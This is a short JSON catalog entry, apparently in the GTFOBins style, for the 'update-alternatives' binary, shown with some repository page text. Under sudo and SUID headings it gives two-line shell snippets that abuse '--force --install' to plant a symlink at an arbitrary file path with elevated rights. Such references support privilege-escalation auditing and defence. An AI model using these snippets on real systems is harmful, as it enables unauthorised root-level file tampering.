You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
17 lines
439 B
JSON
17 lines
439 B
JSON
{
|
|
"functions": {
|
|
"sudo": [
|
|
{
|
|
"description": "Write in [file] a symlink to $TF.",
|
|
"code": "TF=$(mktemp)\necho DATA >$TF\nsudo update-alternatives --force --install [file] x \"$TF\" 0\n"
|
|
}
|
|
],
|
|
"suid": [
|
|
{
|
|
"description": "Write in [file] a symlink to $TF.",
|
|
"code": "TF=$(mktemp)\necho DATA >$TF\n./update-alternatives --force --install [file] x \"$TF\" 0\n"
|
|
}
|
|
]
|
|
}
|
|
}
|